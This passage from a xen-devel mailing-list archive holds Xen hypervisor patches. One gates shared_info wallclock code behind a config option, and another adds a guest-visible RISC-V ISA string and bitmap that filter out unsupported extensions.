+             guest_test_bit(d, port, &shared_info(d, evtchn_pending)) )
             evtchn->pending = true;
 
         evtchn_fifo_set_priority(d, evtchn, EVTCHN_FIFO_PRIORITY_DEFAULT);
diff --git a/xen/common/time.c b/xen/common/time.c
index 04a65f00b35c..cdfdc53b6a17 100644
--- a/xen/common/time.c
+++ b/xen/common/time.c
@@ -89,6 +89,7 @@ struct tm gmtime(unsigned long t)
     return tbuf;
 }
 
+#ifdef CONFIG_HAS_SHARED_INFO
 void update_domain_wallclock_time(struct domain *d)
 {
     uint32_t *wc_version;
@@ -117,6 +118,7 @@ void update_domain_wallclock_time(struct domain *d)
 
     spin_unlock(&wc_lock);
 }
+#endif /* CONFIG_HAS_SHARED_INFO */
 
 /* Set clock to <secs,usecs> after 00:00:00 UTC, 1 January, 1970. */
 void do_settime(u64 secs, unsigned int nsecs, u64 system_time_base)
diff --git a/xen/include/xen/shared.h b/xen/include/xen/shared.h
index 5b71342cab32..f20a46801181 100644
--- a/xen/include/xen/shared.h
+++ b/xen/include/xen/shared.h
@@ -43,7 +43,13 @@ typedef struct vcpu_info vcpu_info_t;
 
 extern vcpu_info_t dummy_vcpu_info;
 
-#define shared_info(d, field)      __shared_info(d, (d)->shared_info, field)
+#ifdef CONFIG_HAS_SHARED_INFO
+#define shared_info(d, field) __shared_info(d, (d)->shared_info, field)
+#else
+extern struct shared_info *shared_info_absent;
+#define shared_info(d, field) (((void)(d), shared_info_absent)->field)
+#endif /* CONFIG_HAS_SHARED_INFO */
+
 #define vcpu_info(v, field)        \
         __vcpu_info(v, (vcpu_info_t *)(v)->vcpu_info_area.map, field)
 
diff --git a/xen/include/xen/time.h b/xen/include/xen/time.h
index e9c0822e6f31..2f872f580ffc 100644
--- a/xen/include/xen/time.h
+++ b/xen/include/xen/time.h
@@ -66,7 +66,11 @@ struct tm wallclock_time(uint64_t *ns);
 #define version_update_begin(v) (((v) + 1) | 1)
 #define version_update_end(v)   ((v) + 1)
 extern void update_vcpu_system_time(struct vcpu *v);
+#ifdef CONFIG_HAS_SHARED_INFO
 extern void update_domain_wallclock_time(struct domain *d);
+#else
+static inline void update_domain_wallclock_time(struct domain *d) {}
+#endif
 
 extern void do_settime(
     u64 secs, unsigned int nsecs, u64 system_time_base);
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366952.1616783 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPs-0005TW-Dk; Mon, 20 Jul 2026 16:00:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366952.1616783; Mon, 20 Jul 2026 16:00:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPs-0005TL-Al; Mon, 20 Jul 2026 16:00:28 +0000
Received: by outflank-mailman (input) for mailman id 1366952;
 Mon, 20 Jul 2026 16:00:26 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPq-0005Bt-Nk
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPp-00AdEr-TC
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:25 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e460c-5cb7-0a2a0a5109dd-0a2a450887e0-42
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:25 +0200
Received: from [209.85.221.42] (helo=mail-wr1-f42.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4619-f659-0a2a45080019-d155dd2ad1c1-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:25 +0200
Received: by mail-wr1-f42.google.com with SMTP id
 ffacd0b85a97d-471eeac43bfso9621760f8f.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:25 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.23
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563225; x=1785168025; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=3Q2X5G2Kf4mmDkHK1SaF1TQrXLIPr2aHrkwYphanNOM=;
        b=N50VorBEAMYYTdcD5oABAkZ6PJCDGCoH9Gw2ngC+ZfZa/IGssd9T3qh/26amKgYyz1
         fgNdRumqSYGJ6AG9feFczMGhC/1Ba9/MlrvkRSIPXgjgiCdRWUkzrZw4PswyaAFOhrb0
         6GEq15gxZ5RP9nNPJcaXfLjlP0xT1rs7/9vYAcJxIsmZ/BsXEhGjFow8J5x/8cEAjVCa
         rFi9QYheVkwkoZeyd6ScXRfFnhcnrm0QSJFfQKD73bPmRAJTKgwTuKTFQVLlIVmG/Qu3
         xIGCI3SNXqRayQCvLoFLkK/mi12aUpf4gIvhSNN0Zf3gJooxhhU+JoR9VE2vkhGUtij+
         /+aA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563225; x=1785168025;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=3Q2X5G2Kf4mmDkHK1SaF1TQrXLIPr2aHrkwYphanNOM=;
        b=TbW6l2xxlyktQyIFX6Z0vtEc8+PBLxLBWd4hiZ1/QG6g+rxZYzbg8p1fzqP9HVIQO4
         HrJnTFKDVKaZsnt7kIy+MFGg9Dzo0KIElR/8UazIphoaIQ4LqG3VvshZLMZBK6w7d7Ys
         w86himJEL++g+lDj2zsfyXR0cmQoyykoHJ6wUklKqJqpamUwSYy5LDwRBXGMbrfnBDTl
         3MYlgrO2g/uE5y2dd2W59MrCd6wVn8wArWrLocrTy4/IPowO7OO1WVdRPt/qE6WLSnEm
         i6Dfr3rxYXp0T349ExT2v7X2iVVBgWqDxTIaLHqMZ5erdWH6sSVRownUG8ZRNPBalOTc
         uarA==
X-Gm-Message-State: AOJu0YyzlTtgcde4YixPtaBe9NReYJxLrVFU8MAG/TNMUzDPKlOl0u4k
	bgy35D8qUUHt1jyZZywaY6UB0l5Mbn2wF60GSB4UtyZofZoQ01P0PQa8mwOGmA==
X-Gm-Gg: AR+sD13W0wxkFiNlxv5QlufXJ4kosF6++k0kB7m3u43pGE7UIIS7qX3tmSF5PZhs13h
	/eiPOO2LEij9DDaxliCuzJ4qgLSvN7srEQh3tRt6lqXKAvPD1pBiZHGl9Y7R7VD07pLOznre2Wn
	tzZE+DpWqDVopzAwALX3u8G8ke/TTq7DcmppF6rEmdCqj+0a05DeHNw4RouD1I76yntLNSgyg+B
	tFjNstaWOfGO0cW8XUQTCX0OMQTAOkjI8F186ktceoU35Os7cDfieUOxLvGcQKDgpNS5s3kjD0l
	8yFhtfVUB6sPDApBG8zZTnA5SYi4tbOPPBVblJ0pVlRAKkhnp0dUL2rgIbqtFiNnXmUZp5F7zYv
	MG+ZLGgwIoFuoMbY7Ff9AhQG/kfBYwBd+vAi0rygED0coOF0sFViSmbO5Kqw3XZCWVwYWNqw85a
	3KeL1meukVKsAgJgOgYIR/AFl7W99DTSOB5b185gztgkPNUW0=
X-Received: by 2002:a5d:5d0e:0:b0:46e:8226:96ba with SMTP id ffacd0b85a97d-47f623036aamr18223366f8f.13.1784563224914;
        Mon, 20 Jul 2026 09:00:24 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v6 06/23] xen/riscv: introduce guest riscv,isa string
Date: Mon, 20 Jul 2026 17:59:47 +0200
Message-ID: <9f5d1005611daa4ba9e4324950fcfe10adbebc32.1784559209.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1784559209.git.oleksii.kurochko@gmail.com>
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784563225-D7B5987B-7460C020/10/73395122804
X-purgate-type: spam
X-purgate-size: 13301

Introduce build_guest_isa_str() to generate the riscv,isa string to be
passed to the guest via the Device Tree riscv,isa property.

Introduce the per-domain guest ISA bitmap, populated during domain
creation by calling init_guest_isa().

Introduce struct riscv_isa_ext_entry with a new guest_supported field
to filter out ISA extensions that should not be exposed to guests:

- f/d/q/v: FPU and vector context save/restore are not yet implemented
  for guests.
- Z*inx are not exposed either: they aren't in riscv_isa_ext[], so they
  can never be set in riscv_isa and thus never reach a guest, and no
  current hardware/guest-OS advertises or expects them. Supporting them
  would be cheaper than F/D/Q (FP values stay in integer registers Xen
  already context-switches), but is left as future work.
- h: Nested virtualisation is not supported.
- sstc: Xen owns the supervisor timer; guests must use SBI.
- svade: Xen manages hardware A/D bit updates in stage-2 page tables.
- svpbmt: Page-based memory types are not yet wired up in stage-2 code.

Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v6:
- build_guest_isa_str() now takes a `const struct domain *d` instead of a
  raw `const unsigned long *isa_bitmap`, to leave room for using more than
  just the bitmap in the future.
- Compute the guest-visible ISA bitmap once at boot, into a new
  __ro_after_init `guest_isa` bitmap (compute_guest_isa(), called at the
  end of riscv_fill_hwcap()), instead of re-deriving it from
  riscv_isa_ext[] on every domain creation in init_guest_isa(). All guests
  currently get the same extension set, so this avoids repeating
  identical work per domain; will need revisiting if/when per-domain ISA
  policy is introduced.
- struct arch_domain's `isa` field is now `const unsigned long *isa`
  instead of an embedded bitmap; init_guest_isa() just points it at the
  shared `guest_isa` bitmap rather than copying bits into a per-domain
  array.
- Mark riscv_isa_ext[] __initconstrel, since its entries hold name pointers
  and the need for relocations requires that the compiler emit the data to
  a writable section.
- Make build_guest_isa_str() __init as it is called during make_cpus_node()
  which is used only (at least, for now) in build time of domain.
---
Changes in v5:
- Introduce struct riscv_isa_ext_entry with a guest_supported field and
  RISCV_ISA_EXT_ENTRY(name, guest_supp) macro for riscv_isa_ext[],
  replacing the ad-hoc guest_unsupp bitmap and init_guest_unsupp().
  Every entry now carries an explicit true/false decision, enforced at
  compile time.
- init_guest_isa() builds d->arch.isa by iterating riscv_isa_ext[]
  directly instead of using bitmap_andnot() against guest_unsupp.
- init_guest_isa() changed to void as it can no longer fail.
- Drop isa_str from struct arch_domain; the ISA string does not need to
  persist over the domain lifetime. build_guest_isa_str() is made
  non-static and declared in cpufeature.h for use when building the
  guest device tree.
- Updated the fix of underflow in build_guest_isa_str().
- Drop unnecessary empty line in cpufeature.h before enum riscv_isa_ext_id.
---
Changes in v4:
 - Add an explicit overflow guard in build_guest_isa_str(): return
   -ENOSPC when buf is non-NULL and total >= size, to avoid the
   size - total underflow being passed to snprintf().
 - Expand the commit message to explain why Zfinx/Zdinx/Zqinx are not
   added to guest_unsupp (not in riscv_isa_ext[], so never set in
   riscv_isa nor exposed to a guest; left as future work)
---
Changes in v3:
 - s/set_bit/__set_bit in init_guest_unsupp() as atomicity isn't needed at
   init time.
 - Drop RISCV_GUEST_ISA_STR_MAX; allocate isa_str dynamically with
   xvmalloc_array().
 - Drop "guest" prefix from d->arch.guest_isa and d->arch.guest_isa_str.
 - Introduce build_guest_isa_str() using snprintf(NULL, 0, ...) to determine
   the needed buffer size; init_guest_isa() calls it once for sizing and once
   to fill, keeping both in a single function so they can't go out of sync.
 - Scope ret inside the loop; initialize total directly from the prefix
   snprintf().
 - Merge "_" separator and extension name into a single snprintf() with
   "%s%s".
 - Replace ASSERT with an explicit error check: if the fill call returns a
   different length, free isa_str and return -EINVAL.
---
Changes in v2:
 - s/guest_unsupp_bmp/guest_unsupp.
 - Drop guest_isa_str.
 - Provide init_guest_isa() instead of polluting match_isa_ext().
 - Drop xlen.
 - Add the comment about guest_unsupp.
 - Update the way how guest_unsupp is init-ed.
 - Drop __initconst for riscv_isa_ext[] as it is used in init_guest_isa()
   which isn't marked as __init as it could be used after init stage.
---
---
 xen/arch/riscv/cpufeature.c             | 148 ++++++++++++++++++++----
 xen/arch/riscv/domain.c                 |   2 +
 xen/arch/riscv/include/asm/cpufeature.h |   5 +
 xen/arch/riscv/include/asm/domain.h     |   3 +
 4 files changed, 134 insertions(+), 24 deletions(-)

diff --git a/xen/arch/riscv/cpufeature.c b/xen/arch/riscv/cpufeature.c
index 92235fdfd5ab..a016568cce68 100644
--- a/xen/arch/riscv/cpufeature.c
+++ b/xen/arch/riscv/cpufeature.c
@@ -14,6 +14,7 @@
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/lib.h>
+#include <xen/sched.h>
 #include <xen/sections.h>
 
 #include <asm/cpufeature.h>
@@ -34,9 +35,32 @@ struct riscv_isa_ext_data {
     .name = #ext_name,                          \
 }
 
+struct riscv_isa_ext_entry {
+    unsigned int id;
+    const char *name;
+    bool guest_supported;
+};
+
+#define RISCV_ISA_EXT_ENTRY(ext_name, guest_supp)       \
+{                                                       \
+    .id              = RISCV_ISA_EXT_ ## ext_name,      \
+    .name            = #ext_name,                       \
+    .guest_supported = guest_supp,                      \
+}
+
 /* Host ISA bitmap */
 static __ro_after_init DECLARE_BITMAP(riscv_isa, RISCV_ISA_EXT_MAX);
 
+/*
+ * ISA bitmap handed out to every guest.
+ *
+ * All guests are given the same extensions for the time being, so this is
+ * computed once out of riscv_isa_ext[] and riscv_isa, rather than redoing
+ * the walk for every domain created.  Should per-domain ISA policy ever be
+ * introduced, this will need to become per-domain again.
+ */
+static __ro_after_init DECLARE_BITMAP(guest_isa, RISCV_ISA_EXT_MAX);
+
 static int __init dt_get_cpuid_from_node(const struct dt_device_node *cpu,
                                          unsigned long *dt_cpuid)
 {
@@ -120,29 +144,30 @@ static int __init dt_get_cpuid_from_node(const struct dt_device_node *cpu,
  * and strncmp() is used in match_isa_ext() to compare extension names instead
  * of strncasecmp().
  */
-const struct riscv_isa_ext_data __initconst riscv_isa_ext[] = {
-    RISCV_ISA_EXT_DATA(i),
-    RISCV_ISA_EXT_DATA(m),
-    RISCV_ISA_EXT_DATA(a),
-    RISCV_ISA_EXT_DATA(f),
-    RISCV_ISA_EXT_DATA(d),
-    RISCV_ISA_EXT_DATA(q),
-    RISCV_ISA_EXT_DATA(c),
-    RISCV_ISA_EXT_DATA(h),
-    RISCV_ISA_EXT_DATA(zicntr),
-    RISCV_ISA_EXT_DATA(zicsr),
-    RISCV_ISA_EXT_DATA(zifencei),
-    RISCV_ISA_EXT_DATA(zihintpause),
-    RISCV_ISA_EXT_DATA(zihpm),
-    RISCV_ISA_EXT_DATA(zba),
-    RISCV_ISA_EXT_DATA(zbb),
-    RISCV_ISA_EXT_DATA(zbs),
-    RISCV_ISA_EXT_DATA(smaia),
-    RISCV_ISA_EXT_DATA(smstateen),
-    RISCV_ISA_EXT_DATA(ssaia),
-    RISCV_ISA_EXT_DATA(sstc),
-    RISCV_ISA_EXT_DATA(svade),
-    RISCV_ISA_EXT_DATA(svpbmt),
+static const struct riscv_isa_ext_entry __initconstrel riscv_isa_ext[] = {
+    RISCV_ISA_EXT_ENTRY(i,            true),
+    RISCV_ISA_EXT_ENTRY(m,            true),
+    RISCV_ISA_EXT_ENTRY(a,            true),
+    RISCV_ISA_EXT_ENTRY(f,            false),
+    RISCV_ISA_EXT_ENTRY(d,            false),
+    RISCV_ISA_EXT_ENTRY(q,            false),
+    RISCV_ISA_EXT_ENTRY(c,            true),
+    RISCV_ISA_EXT_ENTRY(v,            false),
+    RISCV_ISA_EXT_ENTRY(h,            false),
+    RISCV_ISA_EXT_ENTRY(zicntr,       true),
+    RISCV_ISA_EXT_ENTRY(zicsr,        true),
+    RISCV_ISA_EXT_ENTRY(zifencei,     true),
+    RISCV_ISA_EXT_ENTRY(zihintpause,  true),
+    RISCV_ISA_EXT_ENTRY(zihpm,        true),
+    RISCV_ISA_EXT_ENTRY(zba,          true),
+    RISCV_ISA_EXT_ENTRY(zbb,          true),
+    RISCV_ISA_EXT_ENTRY(zbs,          true),
+    RISCV_ISA_EXT_ENTRY(smaia,        true),
+    RISCV_ISA_EXT_ENTRY(smstateen,    true),
+    RISCV_ISA_EXT_ENTRY(ssaia,        true),
+    RISCV_ISA_EXT_ENTRY(sstc,         false),
+    RISCV_ISA_EXT_ENTRY(svade,        false),
+    RISCV_ISA_EXT_ENTRY(svpbmt,       false),
 };
 
 static const struct riscv_isa_ext_data __initconst required_extensions[] = {
@@ -181,7 +206,7 @@ static void __init match_isa_ext(const char *name, const char *name_end,
 
     for ( unsigned int i = 0; i < riscv_isa_ext_count; i++ )
     {
-        const struct riscv_isa_ext_data *ext = &riscv_isa_ext[i];
+        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
 
         /*
          * `ext->name` (according to initialization of riscv_isa_ext[]
@@ -480,6 +505,79 @@ bool riscv_isa_extension_available(const unsigned long *isa_bitmap,
     return test_bit(id, isa_bitmap);
 }
 
+int __init build_guest_isa_str(char *buf, size_t size, const struct domain *d)
+{
+    const unsigned long *isa_bitmap = d->arch.isa;
+    char *p = buf;
+    size_t left = size;
+    int total;
+
+#if defined(CONFIG_RISCV_32)
+    total = snprintf(p, left, "rv32");
+#elif defined(CONFIG_RISCV_64)
+    total = snprintf(p, left, "rv64");
+#else
+# error "Unsupported RISC-V bitness"
+#endif
+
+    if ( total < 0 )
+        return total;
+
+    if ( buf )
+    {
+        if ( (size_t)total >= left )
+            return -ENOSPC;
+
+        p += total;
+        left -= total;
+    }
+
+    for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
+    {
+        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
+        int ret;
+
+        if ( !riscv_isa_extension_available(isa_bitmap, ext->id) )
+            continue;
+
+        ret = snprintf(p, left, "%s%s",
+                       ext->id >= RISCV_ISA_EXT_BASE ? "_" : "",
+                       ext->name);
+        if ( ret < 0 )
+            return ret;
+
+        total += ret;
+
+        if ( buf )
+        {
+            if ( (size_t)ret >= left )
+                return -ENOSPC;
+
+            p += ret;
+            left -= ret;
+        }
+    }
+
+    return total;
+}
+
+static void __init compute_guest_isa(void)
+{
+    for ( unsigned int i = 0; i < ARRAY_SIZE(riscv_isa_ext); i++ )
+    {
+        const struct riscv_isa_ext_entry *ext = &riscv_isa_ext[i];
+
+        if ( ext->guest_supported &&
+             riscv_isa_extension_available(NULL, ext->id) )
+            __set_bit(ext->id, guest_isa);
+    }
+}
+
+void init_guest_isa(struct domain *d)
+{
+    d->arch.isa = guest_isa;
+}
+
 void __init riscv_fill_hwcap(void)
 {
     unsigned int i;
@@ -527,4 +625,6 @@ void __init riscv_fill_hwcap(void)
     if ( !all_extns_available )
         panic("Look why the extensions above are needed in "
               "https://xenbits.xenproject.org/docs/unstable/misc/riscv/booting.txt\n");
+
+    compute_guest_isa();
 }
diff --git a/xen/arch/riscv/domain.c b/xen/arch/riscv/domain.c
index 2819ff4e7c92..c9933147595e 100644
--- a/xen/arch/riscv/domain.c
+++ b/xen/arch/riscv/domain.c
@@ -308,6 +308,8 @@ int arch_domain_create(struct domain *d,
     if ( is_idle_domain(d) )
         return 0;
 
+    init_guest_isa(d);
+
     if ( (rc = p2m_init(d, config)) != 0)
         goto fail;
 
diff --git a/xen/arch/riscv/include/asm/cpufeature.h b/xen/arch/riscv/include/asm/cpufeature.h
index 0c48d57a03bb..3c2be9f0954c 100644
--- a/xen/arch/riscv/include/asm/cpufeature.h
+++ b/xen/arch/riscv/include/asm/cpufeature.h
@@ -5,6 +5,7 @@
 #ifndef __ASSEMBLER__
 
 #include <xen/stdbool.h>
+#include <xen/types.h>
 
 /*
  * These macros represent the logical IDs of each multi-letter RISC-V ISA
@@ -44,7 +45,11 @@ enum riscv_isa_ext_id {
     RISCV_ISA_EXT_MAX
 };
 
+struct domain;
+
 void riscv_fill_hwcap(void);
+void init_guest_isa(struct domain *d);
+int build_guest_isa_str(char *buf, size_t size, const struct domain *d);
 
 bool riscv_isa_extension_available(const unsigned long *isa_bitmap,
                                    enum riscv_isa_ext_id id);
diff --git a/xen/arch/riscv/include/asm/domain.h b/xen/arch/riscv/include/asm/domain.h
index 6044ce0feee0..8ae01a5e4dcc 100644
--- a/xen/arch/riscv/include/asm/domain.h
+++ b/xen/arch/riscv/include/asm/domain.h
@@ -7,6 +7,7 @@
 #include <xen/xmalloc.h>
 #include <public/hvm/params.h>
 
+#include <asm/cpufeature.h>
 #include <asm/guest-layout.h>
 #include <asm/p2m.h>
 #include <asm/vtimer.h>
@@ -94,6 +95,8 @@ struct arch_domain {
     struct p2m_domain p2m;
 
     struct paging_domain paging;
+
+    const unsigned long *isa;
 };
 
 #include <xen/sched.h>
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:00:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:00:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366954.1616792 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPt-0005jA-PV; Mon, 20 Jul 2026 16:00:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366954.1616792; Mon, 20 Jul 2026 16:00:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqPt-0005iM-LY; Mon, 20 Jul 2026 16:00:29 +0000
Received: by outflank-mailman (input) for mailman id 1366954;
 Mon, 20 Jul 2026 16:00:28 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wlqPs-0005TP-HB
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:00:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqPr-00HTTh-UK
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:00:27 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e4612-e002-0a2a0a5209dd-0a2a450abd5a-24
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:27 +0200
Received: from [209.85.221.43] (helo=mail-wr1-f43.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5e461b-f2d2-0a2a450a0019-d155dd2bc516-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:00:27 +0200
Received: by mail-wr1-f43.google.com with SMTP id
 ffacd0b85a97d-47640541585so5210877f8f.1
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:27 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63edd7d3sm30084673f8f.25.2026.07.20.09.00.25
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 09:00:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784563227; x=1785168027; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=jcKzxBSEA3zmGWed+Cw9No+MDgy3l+QGW15O4E+abXs=;
        b=oAxT/Z1T0CBfYC5xnr0p4IN1SJwiDAiqvTSGJHXVCgatFHLvLHgJ1KwDY5VID0EiF8
         gR5ZogEZtjak1FlxMqHzg0W2V0Ar7ub71SdjEBcRZq+C2CJYxy4CDQx2joxmBvWbcAft
         gf9dMj14W8BnGcQZRRdzwmtc8bl+o8XZO8dtilXTnX1gXo6Ry016RHG7Xx6LXDxma/6Z
         gvFzackoWvnsM4QpIUvR6sFsUYyZ6Y1r+2JKaXXat0cKdqN129p/d5By+Msp8VdtWgp7
         rsHSsmPahb0p3CTBNfb2EttdKvQogYlUMgksFIhvQhc/WwZw81bXxhgTLla84v7MFItb
         L2RA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784563227; x=1785168027;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=jcKzxBSEA3zmGWed+Cw9No+MDgy3l+QGW15O4E+abXs=;
        b=gkOVG/nCcGXINpvTKo3rTM//IAPrKi8+ssBkBjHOEvJixZrUpdHMdj1mwIz9aPi2Tt
         M8MibfkEuUIZw2v1lT6AhwSxAJu3rCDpwIFasrSAEzXNXZY6cMrd/x0k3znruzgbHJWp
         Fu0gN7RRvYoRsRQslqReZik9RaGFDadh7jJxUetlbVTtkX/YLgPbVpkLJC8AtQti2AZj
         3za7vhoF1cCfcf7QLisLa7CLxRssfY8RjrGOto6eXTOQUVzGWvPK5X6uBZo48hrdunNS
         ZFexk2PD6yJfg2w1yHBluDQOUyQVk0XtTpBUJ6Jh3kFy32cxN1N+SS0yQ3MuAbBpiRk+
         Jpjw==
X-Gm-Message-State: AOJu0YyWUL2y4R8514rITXy8ImCbUZdh4VAAQD4qlcUohJva/+pBgQSD
	/Nj1qcSdGcvhzz3ZkJoxcX0LOXk9KOarDd2y2HZnJfIHGcENhVRfCE/suZ6hkA==
X-Gm-Gg: AR+sD12cPFbvdXvO8N3orJ9isQbsr0ZZouu0vh+Fs3edMNxlxuPqvmLL3FZFxp56Z4+
	kZDuRMiihdTcvrVBQuje+Ld8gIK21VPnD/PEF6rJfAZJvlKLZ8R9UIOKkS3j8MzJ5iVDiM93E6C
	CCRB3SI91Nh5ulyUfyWCny9FRHnB6+cq8JdUIVM5ZZlk5QtMymVL7umDiJoXxvoftVn5G2r3KTl
	k6v6CzTtSDn7K6fr8Cy1fJvXsjoAoiYbhLvwBFiiiLULgq5zTLQUMqBmPkGlZL2ZO17/QlgbZT6
